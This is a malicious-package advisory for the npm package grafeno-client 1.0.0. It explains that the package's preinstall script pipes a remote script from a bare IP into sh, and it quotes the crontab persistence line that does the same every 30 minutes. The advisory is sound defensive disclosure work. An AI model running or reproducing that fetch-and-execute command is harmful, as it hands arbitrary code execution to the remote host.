grafeno-client

GHSA-682f-95rp-28w4

Malicious code in grafeno-client (npm)

Details

**Severity:** Critical

**Affected versions:** `= 1.0.0`

## Source: amazon-inspector (61f8e4ee9fb4623ef1d751c00c885e412b6e6760d0aaf79c655272a90882ccb6)
package.json declares a preinstall script that runs curl against a bare IP over plain HTTP (http://216.126.236.46/x.sh) and pipes the response to sh, giving the remote host arbitrary code execution on the installer at npm install time. The same preinstall appends a crontab entry (*/30 * * * * curl -s 216.126.236.46/x.sh|sh) that re-fetches and re-executes the remote script every 30 minutes, establishing persistence that survives removal of the npm package. The shipped index.js is a stub, so the manifest is the entire payload.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/8278ab2bd67eee704962fa11801bbf9da85d4939/osv/malicious/npm/grafeno-client/MAL-2026-15503.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/8278ab2bd67eee704962fa11801bbf9da85d4939/osv/malicious/npm/grafeno-client/MAL-2026-15503.json
- https://www.npmjs.com/package/grafeno-client/v/1.0.0
- https://github.com/advisories/GHSA-682f-95rp-28w4

Compromised versions (1)

= 1.0.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.